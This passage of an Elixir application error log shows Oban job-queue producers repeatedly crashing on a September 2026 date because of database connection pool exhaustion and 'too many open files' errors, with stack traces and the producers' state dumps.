    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:39:46.243902Z], limit: 5, uuid: "4425bb86-8d89-4f1d-b8cb-8c413450bb50", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:46.243907Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205617>, refresh_timer: #Reference<0.2525715032.1077411843.205582>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:39:46.244965Z], limit: 5, uuid: "a8d58d66-d1af-4e96-801c-f1490938941e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:46.244971Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.232640>, refresh_timer: #Reference<0.2525715032.1068236804.232639>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:39:46.244676Z], limit: 20, uuid: "fc04f633-3d67-4549-9c0e-e5d883d6b0a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:46.244682Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.240000>, refresh_timer: #Reference<0.2525715032.1099169794.239985>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:39:46.239842Z], limit: 10, uuid: "fdfe305a-988f-4743-97a8-9226e20459c9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:46.239851Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.240001>, refresh_timer: #Reference<0.2525715032.1077411843.205535>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:39:46.247910Z], limit: 50, uuid: "a9460b48-a3fa-4373-a6e7-8dbfd2ee6b4d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:46.247932Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205618>, refresh_timer: #Reference<0.2525715032.1077411843.205606>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:39:58.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:39:46.243717Z], limit: 3, uuid: "bd3858b4-2bf4-40ff-82b8-acaf46b2deaa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:46.243723Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.205619>, refresh_timer: #Reference<0.2525715032.1077411843.205574>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:06.555000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:39:58.239816Z], limit: 10, uuid: "7ef3c7fd-c55e-4eba-bb2a-7ab0ffcc6f29", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:58.239822Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.240374>, refresh_timer: #Reference<0.2525715032.1099169794.240345>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:39:58.240949Z], limit: 3, uuid: "be98489f-4a3f-4c0e-9522-7be637358a40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:58.240954Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.240378>, refresh_timer: #Reference<0.2525715032.1077411843.205769>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:39:58.240795Z], limit: 50, uuid: "2c1d409b-0066-4e36-a673-5fd46d675041", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:39:58.240800Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.240377>, refresh_timer: #Reference<0.2525715032.1077411843.205767>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
